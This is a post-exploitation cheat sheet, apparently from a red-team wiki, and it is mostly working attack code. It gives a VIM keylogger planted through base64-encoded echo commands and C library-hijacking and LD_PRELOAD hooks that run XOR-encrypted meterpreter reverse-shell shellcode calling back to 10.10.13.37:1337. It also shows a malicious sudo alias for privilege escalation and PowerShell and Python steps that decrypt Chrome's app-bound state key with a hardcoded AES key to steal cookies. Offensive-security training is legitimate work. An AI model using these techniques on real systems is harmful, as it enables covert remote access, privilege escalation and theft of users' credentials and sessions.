Post Exploitation

General Post Exploitation

Linux

Search SSH logs for connection source IPs:

$ sudo zgrep -ah sshd /var/log/auth.log* | grep Accepted

VIM Keylogger

Create a malicious VIM config that will save contents of a modified file when ran with sudo:

settings.vim
:if $USER == "root"
:autocmd BufWritePost * :silent :w! >> /tmp/tmp0x031337
:endif
$ sudo -u victim mkdir -p /home/victim/.vim/plugin
$ sudo -u victim bash -c 'echo -n OmlmICRVU0VSID09ICJyb290Igo6YXV0b2NtZCBCdWZXcml0ZVBvc3QgKiA6c2lsZW50IDp3ISA+PiAvdG1wL3RtcDB4MDMxMzM3CjplbmRpZgo=|base64 -d > /home/victim/.vim/plugin/settings.vim'

Shared Libraries Hijacking

LD_LIBRARY_PATH

For example, target executable will be /usr/bin/top.

Code skeleton:

fakelib.c
#include <sys/mman.h>
#include <stdlib.h>
#include <stdio.h>
#include <dlfcn.h>
#include <unistd.h>

static void hijack() __attribute__((constructor));

// msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.13.37 LPORT=1337 -f c -o met.c --encrypt xor --encrypt-key a
unsigned char buf[] = 
"\x31\x33\...\x33\x37";

void hijack() {
	setuid(0);
	setgid(0);
	printf("Library hijacked!\n");
	int bufsize = (int)sizeof(buf);
	for (int i = 0; i < bufsize-1; i++) { buf[i] = buf[i] ^ 'a'; }
	intptr_t pagesize = sysconf(_SC_PAGESIZE);
	mprotect((void *)(((intptr_t)buf) & ~(pagesize - 1)), pagesize, PROT_READ|PROT_EXEC);
	int (*ret)() = (int(*)())buf;
	ret();
}

Get all shared libraries loaded by target executable:

$ ldd /usr/bin/top
...
libgpg-error.so.0 => /lib/x86_64-linux-gnu/libgpg-error.so.0

We'll be targeting the libgpg-error.so.0 library. Include defined symbols of the original library in our malicious library:

$ readelf -s --wide /lib/x86_64-linux-gnu/libgpg-error.so.0 | grep FUNC | grep GPG_ERROR | awk '{print "int",$8}' | sed 's/@@GPG_ERROR_1.0/;/g' >> fakelib.c

Create a map file with version information of defined symbols:

$ echo 'GPG_ERROR_1.0 {' > gpg.map
$ readelf -s --wide /lib/x86_64-linux-gnu/libgpg-error.so.0 | grep FUNC | grep GPG_ERROR | awk '{print $8}' | sed 's/@@GPG_ERROR_1.0/;/g' >> gpg.map
$ echo '};' >> gpg.map

Prepare the listener, compile, export LD_LIBRARY_PATH and run top:

$ gcc -Wall -fPIC -c -o fakelib.o fakelib.c
$ gcc -shared -Wl,--version-script gpg.map -o libgpg-error.so.0 fakelib.o
$ sudo LD_LIBRARY_PATH=/home/snovvcrash/ldlib top

LD_PRELOAD

For example, target executable will be /bin/cp.

Determine which functions are executed by /bin/cp via LD_PRELOAD:

$ ltrace cp
...
getuid()
...

We'll be hooking the getuid() function:

evilgetuid.c
#define _GNU_SOURCE
#include <sys/mman.h>
#include <stdlib.h>
#include <stdio.h>
#include <dlfcn.h>
#include <unistd.h>

// msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.13.37 LPORT=1337 -f c -o met.c --encrypt xor --encrypt-key a
unsigned char buf[] = 
"\x31\x33\...\x33\x37";

uid_t geteuid(void)
{
		typeof(geteuid) *getuid_orig;
		getuid_orig = dlsym(RTLD_NEXT, "geteuid");

		if (fork() == 0) // if inside the forked process
		{
				setuid(0);
				setgid(0);
				printf("Function hooked!\n");

				int bufsize = (int)sizeof(buf);
				for (int i = 0; i < bufsize-1; i++) {
					buf[i] = buf[i] ^ 'a';
				}

				intptr_t pagesize = sysconf(_SC_PAGESIZE);
				if (mprotect((void *)(((intptr_t)buf) & ~(pagesize - 1)), pagesize, PROT_READ|PROT_EXEC)) {
						perror("mprotect");
						return -1;
				}

				int (*ret)() = (int(*)())buf;
				ret();
		}
		else // if inside the original process
		{
				printf("Returning from original...\n");
				return (*getuid_orig)();
		}

		printf("Returning from main...\n");
		return -2;
}

Compile:

$ gcc -Wall -fPIC -z execstack -c -o evilgetuid.o evilgetuid.c
$ gcc -shared -o evilgetuid.so evilgetuid.o -ldl

Create an evil alias to preserve environment variables when running cp with sudo (good candidates are .bashrc and .bash_profile):

alias sudo="sudo LD_PRELOAD=/home/victim/evilgetuid.so"

Run the target executable:

$ sudo cp /etc/passwd /tmp/passwd

Browsers

Chrome / Chromium

Manual Local State Key Decryption

Local state key manual decryption (via DPAPI):

$ get C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State
$ cat 'Local State' | jq '.os_crypt.encrypted_key' -r | base64 -d | tail -c +6 | base64 -w0; echo
PS > Add-Type -AssemblyName System.Security
PS > $decrypted = [Convert]::ToBase64String([System.Security.Cryptography.ProtectedData]::Unprotect([Convert]::FromBase64String("<BASE64_BLOB>"), $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser))
PS > !echo -n $decrypted | base64 -d | od -v -An -tx1 | tr -d ' \n'; echo
PS > .\SharpChrome.exe cookies /statekey:$stateKey

App-bound local state key manual decryption (via DPAPI) doing LocalSystem to User context swap:

$ get C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State
$ cat 'Local State' | jq '.os_crypt.app_bound_encrypted_key' -r | base64 -d | tail -c +5 | base64 -w0; echo
PS (LocalSystem) > Add-Type -AssemblyName System.Security
PS (LocalSystem) > $systemDecrypted = [Convert]::ToBase64String([System.Security.Cryptography.ProtectedData]::Unprotect([Convert]::FromBase64String("<BASE64_BLOB>"), $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser))
PS (User) > $userDecrypted = [System.Security.Cryptography.ProtectedData]::Unprotect([Convert]::FromBase64String($systemDecrypted), $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser)
PS (User) > [Text.Encoding]::ASCII.GetString($userDecrypted)
# Chromium
PS (User) > $stateKey = ($userDecrypted[-32..-1] | % ToString x2) -join ''
# Chrome
$ python -c "import binascii; from Crypto.Cipher import AES; user_decrypted = '$userDecrypted'; decrypted_key = binascii.a2b_base64(user_decrypted)[-61:]; elevation_service_key = binascii.a2b_base64('sxxuJBrIRnKNqcH6xJNmUc/7lE0UOrgWJ2vMbaAoR4c='); cipher = AES.new(elevation_service_key, AES.MODE_GCM, nonce=decrypted_key[1:1+12]); print(cipher.decrypt_and_verify(decrypted_key[13:45], decrypted_key[45:]).hex())"
PS (User) > .\SharpChrome.exe cookies /statekey:$stateKey

Tools

cookie_crimes

CursedChrome

Last updated